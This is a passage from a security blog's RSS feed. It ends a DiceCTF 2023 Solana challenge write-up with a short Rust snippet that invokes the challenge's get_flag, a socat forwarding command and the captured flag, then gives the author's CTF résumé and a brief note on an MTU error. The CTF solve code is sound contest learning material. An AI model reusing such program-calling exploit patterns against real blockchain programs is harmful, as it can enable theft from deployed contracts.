&lt;p data-ke-size=&quot;size16&quot;&gt;Add following code makeing my account to &lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675745019174&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn get_flag(_ctx: Context&amp;lt;GetFlag&amp;gt;) -&amp;gt; Result&amp;lt;()&amp;gt; {
        let cpi_accounts = chall::cpi::accounts::GetFlag {
            flag: _ctx.accounts.state.to_account_info(),
            password: _ctx.accounts.test.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
       
        let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::get_flag(cpi_ctx)?;
        Ok(())
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;And get Intancer&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;259&quot; data-origin-height=&quot;196&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bj7lCh/btrYmxFWgu7/TAkNGGgQZD29x4dABy6y20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bj7lCh/btrYmxFWgu7/TAkNGGgQZD29x4dABy6y20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bj7lCh/btrYmxFWgu7/TAkNGGgQZD29x4dABy6y20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbj7lCh%2FbtrYmxFWgu7%2FTAkNGGgQZD29x4dABy6y20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;259&quot; height=&quot;196&quot; data-origin-width=&quot;259&quot; data-origin-height=&quot;196&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #e6f5ff;&quot;&gt;e.g. socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;And run &lt;span style=&quot;background-color: #f6e199;&quot;&gt;run.sh&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Surprisingly,&amp;nbsp;I&amp;nbsp;got&amp;nbsp;the&amp;nbsp;flag.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;dice{0tt3r_w0r1d_8c01j3}&lt;/i&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It is actually very simple once it was solved, but it was difficult because I didn't know Rust or Solana.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I think I need to study each chapter one by one.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://solanacookbook.com/kr/core-concepts/accounts.html#facts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://solanacookbook.com/kr/core-concepts/accounts.html#facts&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If you are looking for similar difficulty solana challs, I recommend baby blockchain 1,2,3 of &lt;span&gt;IdekCTF 2023.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Thanks.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/146</guid>
      <comments>https://gss1.tistory.com/entry/DiceCTF-2023-pwnBaby-Solana-OtterWorld#entry146comment</comments>
      <pubDate>Tue, 7 Feb 2023 13:46:41 +0900</pubDate>
    </item>
    <item>
      <title>about me</title>
      <link>https://gss1.tistory.com/entry/about-me</link>
      <description>&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/uKViQ/btsMgOGFYGI/e8Qrulz8CJS0XDTaMrYBj0/sangsoo_resume_feb.pdf?attach=1&amp;amp;knm=tfile.pdf&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;sangsoo_resume_feb.pdf&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.04MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Information&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  &lt;a href=&quot;mailto:rkdtkdtn0706@gmail.com&quot;&gt;rkdtkdtn0706@gmail.com&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  &lt;a href=&quot;https://github.com/kangsangsoo&quot;&gt;https://github.com/kangsangsoo&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  &lt;a href=&quot;https://github.com/godsangsoo&quot;&gt;https://github.com/godsangsoo&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  &lt;a href=&quot;https://www.acmicpc.net/user/rkdtkdtn0706&quot;&gt;https://www.acmicpc.net/user/rkdtkdtn0706&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; &lt;span&gt; &lt;a href=&quot;https://x.com/gosasu1&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://x.com/gosasu1&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Experience&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #666666; text-align: start;&quot;&gt;Complete Military service at t&lt;span style=&quot;background-color: #ffffff; color: #4d5156; text-align: left;&quot;&gt;he 32nd Infantry Division (2018. 04. ~ 2019. 12.)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/contest/view/740&quot;&gt;2021 Korea University Collegiate Programming Contest organizer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acmicpc.net/contest/view/786&quot;&gt;2022 SKH(숭고한) spring camp organizer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.facebook.com/cistcykor&quot;&gt;CyKor&lt;/a&gt; member (2022.03. ~)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://alkor.kr&quot;&gt;Alkor&lt;/a&gt; president (2022.03. ~ 2023.02.)&lt;/li&gt;
&lt;li&gt;Best Of the Best 11th, vulnerability analysis(2022.07. ~ 2023.03.)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/scv-bob11&quot;&gt;https://github.com/scv-bob11&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;a style=&quot;color: #000000; text-align: left;&quot; href=&quot;http://osec.io&quot;&gt;OtterSec&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;,&lt;/span&gt; baby otter &lt;/span&gt;&lt;/span&gt;(2023.04. ~)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Achievement&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2021 Crypto Analysis Contest general division | &lt;b&gt;Excellence Award&lt;/b&gt; | &amp;ldquo;강상수&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2022 Zer0pts | &lt;b&gt;3rd&lt;/b&gt; | &quot;CyKor&quot;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2022 WACon | general division | 7th | &amp;ldquo;종강한 개 강한 대학생&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2022 Hacktheon | 12th | &amp;ldquo;@everyone&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2022 SSTF | 4th | &amp;ldquo;CyKor&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2022 Crypto Analysis Contest | general division | &lt;b&gt;Excellence Award&lt;/b&gt; | &amp;ldquo;constant&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2022 CCE qual | general division | 16th | &amp;ldquo;개강한 개 강한 대학생&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2022 Codegate | university division | 8th | &amp;lsquo;roKyC&amp;rsquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2023 Zer0pts | &lt;b&gt;2nd&lt;/b&gt;&amp;nbsp;| &quot;CyKor&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2023 SSTF | &lt;b&gt;3rd&lt;/b&gt; | &quot;Cy + Kr&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2023 &lt;span style=&quot;text-align: left;&quot;&gt;Crypto Analysis Contest | general division |&amp;nbsp;&lt;/span&gt;&lt;b&gt;Excellence Award&lt;/b&gt;&lt;span style=&quot;text-align: left;&quot;&gt;&amp;nbsp;| &amp;ldquo;const&amp;rdquo;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;2023 Paradigm CTF | &lt;b&gt;2nd&lt;/b&gt; | &quot;KALOS++&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;2023 HITCON CTF | 4th | &quot;프로그램털모찌&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;2023 Glacier CTF | Academic Division | &lt;b&gt;2nd&lt;/b&gt; | &quot;CyKor&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;2024 MoveCTF | &lt;b&gt;3rd&lt;/b&gt; | &quot;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;cesretto&quot;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2024 openzeppelin ctf | 7th | &quot;HOT TAMALES&quot;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2024 DEFCON 32 qual | 6th | &quot;Cold Fusion&quot;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2024 Dreamhack Invitational Finalist | &quot;gss1&quot;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2024 HITCON CTF qual | 6th | &quot;Cold Fusion&quot;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2024 DEFCON 32 final | 9th | &quot;Cold Fusion&quot;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2024 codegate final | 13th | &quot;Thehackerscrew&quot;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2024 Fuzzland CTF | &lt;b&gt;1st&lt;/b&gt; | &quot;KimchiPremium&quot;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2024 HITCON CTF final | 6th | &quot;Cold Fusion&quot;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2024 SCAN CTF final | &lt;b&gt;3rd&lt;/b&gt; | &quot;Tornado Cats&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2025 Remedy CTF | &lt;b&gt;3rd&lt;/b&gt; | &quot;KimchiPremium&quot;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2025 Codegate qual | &lt;b&gt;3rd&lt;/b&gt; | &quot;졸업수료초과재학&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2025 DEFCON 33 qual | 8th | &quot;Cold Fusion&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2025 LakeCTF fianl | 6th | &quot;CyKor&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2025 Codegate final | 8th | &quot;졸업수료초과재학&quot;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2025 DEFCON 33 final | 10th | &quot;Cold Fusion&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2025 HITCON CTF | 4th | &quot;CTF Demon Hunters&quot;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Education&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Korea University
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Studying engineering in cyber defense | GPA 4.15 / 4.5 (2020.03 - 2024.02) | defer graduation for two years (2026.02)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;2025.08.29. updated&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>about</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/147</guid>
      <comments>https://gss1.tistory.com/entry/about-me#entry147comment</comments>
      <pubDate>Tue, 7 Feb 2023 02:51:02 +0900</pubDate>
    </item>
    <item>
      <title>pcap_sendpacket return -1 error=send: Message too long 해결?</title>
      <link>https://gss1.tistory.com/entry/pcapsendpacket-return-1-errorsend-Message-too-long-%ED%95%B4%EA%B2%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_%EC%9D%B4%EB%8D%94%EB%84%B7_MTU_%EB%B3%80%EA%B2%BD&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_%EC%9D%B4%EB%8D%94%EB%84%B7_MTU_%EB%B3%80%EA%B2%BD&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1633420673322&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;리눅스 이더넷 MTU 변경 - 제타위키&quot; data-og-description=&quot;다음 문자열 포함...&quot; data-og-host=&quot;zetawiki.com&quot; data-og-source-url=&quot;https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_%EC%9D%B4%EB%8D%94%EB%84%B7_MTU_%EB%B3%80%EA%B2%BD&quot; data-og-url=&quot;https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_%EC%9D%B4%EB%8D%94%EB%84%B7_MTU_%EB%B3%80%EA%B2%BD&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_%EC%9D%B4%EB%8D%94%EB%84%B7_MTU_%EB%B3%80%EA%B2%BD&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_%EC%9D%B4%EB%8D%94%EB%84%B7_MTU_%EB%B3%80%EA%B2%BD&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;리눅스 이더넷 MTU 변경 - 제타위키&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;다음 문자열 포함...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;zetawiki.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MTU를 크게 하니까 안뜬다..&lt;/p&gt;</description>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/87</guid>
      <comments>https://gss1.tistory.com/entry/pcapsendpacket-return-1-errorsend-Message-too-long-%ED%95%B4%EA%B2%B0#entry87comment</comments>
      <pubDate>Tue, 5 Oct 2021 16:58:09 +0900</pubDate>
    </item>
  </channel>
</rss>